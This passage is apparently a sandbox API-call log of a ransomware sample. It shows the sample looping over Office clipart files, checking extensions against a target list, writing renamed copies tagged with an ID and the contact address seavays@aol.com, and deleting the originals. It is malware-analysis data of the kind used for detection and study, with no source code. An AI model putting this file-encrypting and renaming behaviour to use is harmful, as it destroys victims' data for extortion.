lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0173.893] SetEndOfFile (hFile=0x528) returned 1 [0173.893] CloseHandle (hObject=0x528) returned 1 [0173.893] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.893] SetEndOfFile (hFile=0x518) returned 1 [0173.897] CloseHandle (hObject=0x518) returned 1 [0173.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0174.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 1 [0174.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0174.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0174.512] lstrlenW (lpString=".doc") returned 4 [0174.512] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.512] lstrlenW (lpString=".docx") returned 5 [0174.512] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0174.512] lstrlenW (lpString=".pdf") returned 4 [0174.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.512] lstrlenW (lpString=".xls") returned 4 [0174.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.512] lstrlenW (lpString=".xlsx") returned 5 [0174.512] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0174.512] lstrlenW (lpString=".ppt") returned 4 [0174.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0174.512] lstrlenW (lpString=".zip") returned 4 [0174.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.512] lstrlenW (lpString=".rar") returned 4 [0174.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.512] lstrlenW (lpString=".bz2") returned 4 [0174.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.512] lstrlenW (lpString=".7z") returned 3 [0174.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0174.512] lstrlenW (lpString=".dbf") returned 4 [0174.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0174.512] lstrlenW (lpString=".1cd") returned 4 [0174.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0174.512] lstrlenW (lpString=".jpg") returned 4 [0174.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0174.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0174.513] lstrlenW (lpString=".doc") returned 4 [0174.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.513] lstrlenW (lpString=".docx") returned 5 [0174.513] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0174.513] lstrlenW (lpString=".pdf") returned 4 [0174.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.513] lstrlenW (lpString=".xls") returned 4 [0174.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.513] lstrlenW (lpString=".xlsx") returned 5 [0174.513] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0174.513] lstrlenW (lpString=".ppt") returned 4 [0174.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0174.513] lstrlenW (lpString=".zip") returned 4 [0174.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.513] lstrlenW (lpString=".rar") returned 4 [0174.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.513] lstrlenW (lpString=".bz2") returned 4 [0174.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.513] lstrlenW (lpString=".7z") returned 3 [0174.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0174.513] lstrlenW (lpString=".dbf") returned 4 [0174.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0174.513] lstrlenW (lpString=".1cd") returned 4 [0174.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0174.513] lstrlenW (lpString=".jpg") returned 4 [0174.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.514] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0174.514] lstrlenW (lpString="J0107480.WMF") returned 12 [0174.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0174.515] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=6024) returned 1 [0174.515] CloseHandle (hObject=0x378) returned 1 [0174.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 0x220 [0174.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0174.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0174.515] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0174.515] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0174.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0174.516] GetLastError () returned 0x0 [0174.516] ReadFile (in: hFile=0x378, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1788, lpOverlapped=0x0) returned 1 [0174.518] WriteFile (in: hFile=0x524, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1790, lpOverlapped=0x0) returned 1 [0174.519] ReadFile (in: hFile=0x378, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0174.519] WriteFile (in: hFile=0x524, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0174.519] SetEndOfFile (hFile=0x524) returned 1 [0174.520] CloseHandle (hObject=0x524) returned 1 [0174.525] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0174.525] SetEndOfFile (hFile=0x378) returned 1 [0174.528] CloseHandle (hObject=0x378) returned 1 [0174.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0174.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 1 [0174.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0174.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0174.530] lstrlenW (lpString=".doc") returned 4 [0174.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.530] lstrlenW (lpString=".docx") returned 5 [0174.530] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0174.530] lstrlenW (lpString=".pdf") returned 4 [0174.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.530] lstrlenW (lpString=".xls") returned 4 [0174.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.530] lstrlenW (lpString=".xlsx") returned 5 [0174.530] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0174.530] lstrlenW (lpString=".ppt") returned 4 [0174.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0174.530] lstrlenW (lpString=".zip") returned 4 [0174.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.530] lstrlenW (lpString=".rar") returned 4 [0174.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.530] lstrlenW (lpString=".bz2") returned 4 [0174.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.530] lstrlenW (lpString=".7z") returned 3 [0174.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0174.530] lstrlenW (lpString=".dbf") returned 4 [0174.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0174.530] lstrlenW (lpString=".1cd") returned 4 [0174.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0174.531] lstrlenW (lpString=".jpg") returned 4 [0174.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0174.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0174.531] lstrlenW (lpString=".doc") returned 4 [0174.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.531] lstrlenW (lpString=".docx") returned 5 [0174.531] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0174.531] lstrlenW (lpString=".pdf") returned 4 [0174.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.531] lstrlenW (lpString=".xls") returned 4 [0174.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.531] lstrlenW (lpString=".xlsx") returned 5 [0174.531] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0174.531] lstrlenW (lpString=".ppt") returned 4 [0174.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0174.531] lstrlenW (lpString=".zip") returned 4 [0174.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.531] lstrlenW (lpString=".rar") returned 4 [0174.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.531] lstrlenW (lpString=".bz2") returned 4 [0174.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.531] lstrlenW (lpString=".7z") returned 3 [0174.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0174.531] lstrlenW (lpString=".dbf") returned 4 [0174.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0174.532] lstrlenW (lpString=".1cd") returned 4 [0174.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0174.532] lstrlenW (lpString=".jpg") returned 4 [0174.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.532] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0174.532] lstrlenW (lpString="J0107482.WMF") returned 12 [0174.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0174.534] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=4980) returned 1 [0174.534] CloseHandle (hObject=0x378) returned 1 [0174.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 0x220 [0174.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0174.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0174.534] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0174.534] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0174.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0174.536] GetLastError () returned 0x0 [0174.536] ReadFile (in: hFile=0x378, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1374, lpOverlapped=0x0) returned 1 [0174.538] WriteFile (in: hFile=0x524, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1380, lpOverlapped=0x0) returned 1 [0174.539] ReadFile (in: hFile=0x378, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0174.539] WriteFile (in: hFile=0x524, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0174.539] SetEndOfFile (hFile=0x524) returned 1 [0174.539] CloseHandle (hObject=0x524) returned 1 [0174.539] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0174.539] SetEndOfFile (hFile=0x378) returned 1 [0174.542] CloseHandle (hObject=0x378) returned 1 [0174.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0174.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 1 [0174.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0174.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0174.543] lstrlenW (lpString=".doc") returned 4 [0174.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.543] lstrlenW (lpString=".docx") returned 5 [0174.543] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0174.543] lstrlenW (lpString=".pdf") returned 4 [0174.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.543] lstrlenW (lpString=".xls") returned 4 [0174.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.543] lstrlenW (lpString=".xlsx") returned 5 [0174.543] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0174.544] lstrlenW (lpString=".ppt") returned 4 [0174.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0174.544] lstrlenW (lpString=".zip") returned 4 [0174.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.544] lstrlenW (lpString=".rar") returned 4 [0174.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.544] lstrlenW (lpString=".bz2") returned 4 [0174.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.544] lstrlenW (lpString=".7z") returned 3 [0174.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0174.544] lstrlenW (lpString=".dbf") returned 4 [0174.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0174.544] lstrlenW (lpString=".1cd") returned 4 [0174.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0174.544] lstrlenW (lpString=".jpg") returned 4 [0174.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0174.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0174.544] lstrlenW (lpString=".doc") returned 4 [0174.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.544] lstrlenW (lpString=".docx") returned 5 [0174.544] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0174.544] lstrlenW (lpString=".pdf") returned 4 [0174.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.544] lstrlenW (lpString=".xls") returned 4 [0174.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.544] lstrlenW (lpString=".xlsx") returned 5 [0174.544] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0174.545] lstrlenW (lpString=".ppt") returned 4 [0174.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0174.545] lstrlenW (lpString=".zip") returned 4 [0174.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.545] lstrlenW (lpString=".rar") returned 4 [0174.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.545] lstrlenW (lpString=".bz2") returned 4 [0174.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.545] lstrlenW (lpString=".7z") returned 3 [0174.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0174.545] lstrlenW (lpString=".dbf") returned 4 [0174.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0174.545] lstrlenW (lpString=".1cd") returned 4 [0174.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0174.545] lstrlenW (lpString=".jpg") returned 4 [0174.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.545] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0174.545] lstrlenW (lpString="J0107484.WMF") returned 12 [0174.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0174.546] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=3040) returned 1 [0174.546] CloseHandle (hObject=0x378) returned 1 [0174.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 0x220 [0174.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0174.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0174.547] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0174.547] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0174.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0174.548] GetLastError () returned 0x0 [0174.548] ReadFile (in: hFile=0x378, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0xbe0, lpOverlapped=0x0) returned 1 [0174.733] WriteFile (in: hFile=0x524, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xbf0, lpOverlapped=0x0) returned 1 [0174.734] ReadFile (in: hFile=0x378, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0174.734] WriteFile (in: hFile=0x524, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0174.734] SetEndOfFile (hFile=0x524) returned 1 [0174.734] CloseHandle (hObject=0x524) returned 1 [0174.735] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0174.735] SetEndOfFile (hFile=0x378) returned 1 [0174.738] CloseHandle (hObject=0x378) returned 1 [0174.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0175.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program 